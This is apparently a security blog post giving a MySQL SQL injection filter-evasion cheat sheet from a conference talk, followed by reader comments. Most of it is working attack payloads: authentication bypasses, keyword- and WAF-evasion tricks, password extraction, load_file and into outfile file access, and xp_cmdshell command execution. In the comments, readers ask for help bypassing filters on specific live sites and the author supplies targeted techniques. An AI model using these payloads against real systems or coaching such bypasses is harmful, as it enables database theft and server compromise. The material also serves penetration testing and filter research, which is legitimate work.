This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).
Basic filter
Comments
‘ or 1=1#
‘ or 1=1– –
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1
Prefixes
+ – ~ !
‘ or –+2=- -!!!’2
Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#
Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61’
Strings without quotes
‘abc’ = 0x616263
Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
Typecasting
‘ or true = ‘1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ‘1 # or true
Compare operator typecasting
select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users
Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users
Authentication bypass ‘-‘
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users
Function filter
General function filtering
ascii (97)
load_file/*foo*/(0x616263)
Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))
Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs
Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\
Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36
@@new: 0
@@log_bin: 1
!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4
minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)
Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))
Search substrings
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index(‘ab’,’b’,1)
Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))
Compare strings
strcmp(‘a’,’a’)
mod(‘a’,’a’)
find_in_set(‘a’,’a’)
field(‘a’,’a’)
count(concat(‘a’,’a’))
String length
length()
bit_length()
char_length()
octet_length()
bit_count()
String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)
Keyword filter
Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0’union all select all`table_name`foo from`information_schema`. `tables`
OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-‘
OR, AND, UNION
‘ and (select pass from users limit 1)=’secret
OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a
OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a
OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a’))
OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a
OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt
OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#
Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’=’a’ then 1 [else 0] end
if(‘a’=’a’,1,0)
ifnull(nullif(‘a’,’a’),1)
If you have any other useful tricks I forgot to list here please leave a comment.
Thx!
The best solution is, of course, to use parameterized queries.
Excellent as i expected! 🙂
but would you please explain what you did here?
/vuln.php?id=1 union/*&sort=*/select pass from users– –
The Moorish:
I believe if there is sqli in both the id and sort parameter so it looked like this:
SELECT * FROM users WHERE id = $_GET[id] ORDER BY $_GET[sort]
So if you inject you get
SELECT * FROM users WHERE id = 1 union/* ORDER BY */select pass from users–- –
exactly. the trick is that the filter almost always gets applied on each parameter. So if you split up your injection and inject the keyword “select” in one parameter and the keyword “union” in another parameter a “union select” will never be detected.
Really nice, thx 🙂
I guess, I’m not the only one that would appreciate a pdf version of your cheatsheet 😉
Thanks.
Fine article.
Yeah, a PDF version would be great. All on one page, sorted and aligned.. 🙂
Is it a typo that youve put that it filters and, yet used and in pretty much all of those keyword filtering ones?
Also, lets say I have a website that filters union, select, join, left, right. And thats all, is there anyway of breaking the keyword up so it ends up connected and would still act like one? (At the moment the site replaces one of the letters in the keyword with its html entity thus breaking the injection)
you can just use “&&” or the function if() as alternative for “and”, however it was a typo, you are right 😉
There is no way to break up single keywords. However html entities contain a # which is a on line comment so you may be able to abuse this. I tried some variations but could not come up with something.
the previous post did’t show up becuase i used php tag
/admin/login.php
//the login page (i wrote this script from my head , i don’t remember it well so go easy on my if i wrote something wrong )
$userlvel=’1′; // in admin page login, in other pages is ‘2’
$user=trim($_POST[‘username’]);
$query=”SELECT * FROM users WHERE user = ‘$user’ AND userlevel =’$userlevel'”;
$iquery=trim($guery);
than it check’s the pass if is’t it correct
i have an account with user=’me’ and my userleve is ‘2’ i think the i should inject this
user=” m’ AND userlevel=’2′– -”
to bybass the authification
the problem is i can’t use quotes or # or %00 i tryed char() and other bybass method but it didn’t work !!!
is there any way to bybass it ???????????
emmm
one more thing
if i try this
‘=”– –
it will be
select * from users where user=’/’=/’/’ — – (the rest will be ignored)
if only i can take off that backslash after the equal statement i can generate this
select * from users where user=’/’=’/’ — –
right ???
any idea ????
hi rahim,
you miss an important thing here: escaping quotes that are written in quotes is safe and the common way to prevent SQL injection. that means if you inject into static quotes and your input is properly escaped then there is no SQL injection vulnerability.
however just to be sure, try to inject backslashes:
$user=\
$userlevel= or 1=1– –
will become:
SELECT * FROM users WHERE user = ‘\’ AND userlevel =’ or 1=1– -’
well, thanks
i really didn’t expect that you’ll reply my post
you are great man
and thanks for the advice , i’ll try to inject the backslash
and i really hope that you keep updating your blog with more articls
because i read all what you posted in your blog and i am waiting for more
🙂
Hi ,
i find your post really impressive …
it’s help me to pass some stage of a challenge …
but know i’am stuck … and it’s really frustrating trying an trying again..
here is the one :
http://xplsql.cwsurf.de/sqlchallenge.php?direction=ASC
thanks to your tips .. i progress (lpad tricks to avoid substr..)
but i’m stuck here :
password and ascii(lpad((select+password+from+users+limit+1),1,space(1)))>10
can’t make this >10 to be evaluate …
so if you have an idea or a clue … it’s would be great since this challenge is really different from the other i have done so far
hi all,
i have a question.
if the input is uppcase’ed, can one bypass this?
so if the quere is just applied on PHPs strotupper?
so, column names do no more match and mysql says column not found…
can on bypass this?
thanks!
hi, interesting scenario. however I don’t know a way to obfuscate the column names …
basically its hard since mysql doesnt accept any modifications…well but i bet there is a way 😉
nice post.. just one question :
how do we bypass \btable_name\b filter?
thanks
Hi, normally that is not possible. however during the mod_security challenge I was able to bypass this filter by abusing other generic filters like SQL comments (e.g.: mod_security ignores everything between /* */ and after #).
but now they’ve patched those payload that abusing sql comments. I was also using SQL comments to bypass level II mod_security challenge 🙂
hi,
when i use: user=a’ union select username from users#
i get this error 500 internal server error!
is there anyway to bypass it ?
the website block union command …
forget to say! i used and (select pass from users limit 1)=secret#
and got: Table ‘auth.users’ doesn’t exist
when i changes users to jos_users ( real table name )
i got 500 error again ( blocked )
sqli is in a form …
well I can’t do more than pointing you to the cheatsheet above without having a look at the site myself. if they block the table name then you are out of luck. try to submit only the table name ?user=jos_users to verify if it is only detected with connected keywords (maybe bypassable) or even detected as single word (not bypassable afaik).
good luck =)
oh and btw: if you are injecting into a table that is already SELECTing from jos_users, you dont need to inject the table name! see second last example in the cheatsheet under “Keyword filter”.
Hi Reiners,
I wondering if it’s possible to bypass pattern which truncates anything between `union` and `select` and let mod_security do the rest .. pattern like this:
$r = preg_replace( “/ (union)[^select]+(select)/i ” , “$1 $2” ); // results: union select.
thanks.
inject0r,
Hi,
well then you need to bypass mod_security (also think about avoiding union select and using subselects instead) but I wont spoil a bypass for free ;P
cheers,
Reiners
Graet .
Very nice article…
But HOW to bypassing filtered keyword,
i.e : site.com/news.php?id=1+union+select+1,2,group_concat(table_name)
site.com/news.php?id=1+union+select+1,2,group_concat(/*!table_name*/)
the problem is, keyword “group_concat” give me a 403 Forbidden page.
How to solve that?
Big thaks for you.
you cannot obfuscate the function name. if it checks for “group_concat” you need a general filter bypass (like /*!group_concat*/) or simply another function that is not blocked.
hye there Reiners.thanks for the tutorials and details.
just want a quick question. if the website filtered “SELECT”,like in your post,you just shows how to check the version() value.how about to know the table_name value and others?
we still need to use “SELECT” in this case isn’t it?
or the only choice we have just trying to guess the column_name?
thanks 😀
p0pc0rn
hi, exactly, you need SELECT to read the names from the information_schema database. if you cant use procedure analyse() or the ‘1’%’0′-trick (refer to https://websec.wordpress.com/2009/11/26/mysql-table-and-column-names-update-2/) you have to bruteforce the names with a wordlist.
cheers
Reiners
yerp.that’s the only thing came out in my mind right now.to bruteforce the names.
thanks for your quick reply 😀
Hi there .I blocked in sql injection pentest challange.I dont now how to replace the comma.I want get only the version number but the comma is filtered or replaced with …..
http://zerocoolhf.altervista.org/level2.php?id=1%27%20and%201=2%20union%20select%201,2,3–%20-
Hi,
how to terminate string without using ‘ (single quote).
Previously ‘ or 1=1 used to work, but now we have implemented a check on ‘ (single quote) character such as,
If (username.indexOf(“‘”) != -1 ) { attack }
Thanks,
hi, you can still use a backslash if you have two injections in one query: ?name=\&password=or 1=1– –
select * from users where name = ‘\’ and password = ‘ or 1=1– -‘;
and all injections that are not embedded to quotes are still vulnerable too (because quotes are not necessary for exploitation): ?id=1 or 1=1
select * from users where id = 1 or 1=1
The problem is most sql versions are set up such that two single quotes escapes it. i.e. \’ is not an escape code for literal ‘, but ” is. Therefore this still does not work.
how can i maintain white space in sql server if it is removed by the app server …./**/ did work in some statements but in some others not! ( for example EXEC sp_configure)
EXEC[xp_cmdshell][dir]
or try different whitespace characters in mssql:
%01, %02, %03, %04, %05, %06, %07, %08, %09, %0a, %0b, %0c, %0d, %0e, %0f, %10, %11, %12, %13, %14, %15, %16, %17, %18, %19, %1a, %1b, %1c, %1d, %1e, %1f, %20
Hello ,
What if the mod_security blocking the select with regex method?,in that case it blocks any string containing “select” for example %a0SeLect%a0(blocked),tried everything i knew but no luck so far.It will be great if there are any chars which might get interpreted by mysql as “nothing” or will get “filter” once mysql sees it before executing the query WITHOUT “throwing error” .If yes,then i can use the dummy chars to fool mod_Security,If there is a workaround or any other tricks it will be great too.
1.I can select this to server: (item.php?id=1 union sel%blahect 1–‘)
*which might bypass the mod_security filter but intepreted in mysql as
2.(1 union select 1–)
Pardon my english,i am willing to explain more if you dont understand my question,thanks 🙂
I am sure there are no such characters but you can fuzz MySQL (sel{$i}ect ‘test’; and check if it would ever return ‘test’).
I haven’t looked at modsecurity for a long time, but I’m sure they don’t simply block select because of false positives. So there is a chance you can evade the filter.
You are absolutely correct,the filter allows :
[-1′ order by(select 1)–+]
Tried:[-1′ order by(sel{$i}ect ‘test’)–+]
Result:[error use near ‘{$i}ect ‘test’)– ”]
Trying few combinations…
You are absolutely correct,the filter allows :
[-1′ order by(select 1)–+]
Tried:[-1′ order by(sel{$i}ect ‘test’)–+]
Result:[error use near ‘{$i}ect ‘test’)– ”]
Trying few combinations…
Failed:
[-1’%20uNiOn/**//*()*/(select(select(1)),2,3,4,5,6,7,8,9)–+]
Filter Behavior:
1)Blocks while the request contains both “union” and “select”
2)/*!12345union*/- treated as comment
All very nice tricks (I’m just learning), but what if a script filters out using preg_match all possible symbols and keywords? Something like:
/_|\.|#|-|;|&|\||and|or/i
and the query string is explicitly urldecoded before regexp… (no url or double url encoding possible)
Now you cannot use AND or &&, OR or ||, you cannot use any comments (even /* or /*!) and you cannot use any table name containing and underscore (FROM do not accept any evasion trick I tried so far) and the table I need has an underscore!
So the only possibility is a simple union select injection, but without any supplementary parameters… (ie: ‘ union select ‘1 will give you 1 in the $request var)
Impossible? (In all your examples, the underscore filtering is never considered… am I missing something? I’ve read about character tampering using special characters, but so far no one worked in MySQL: such as table+name or table[name for table_name)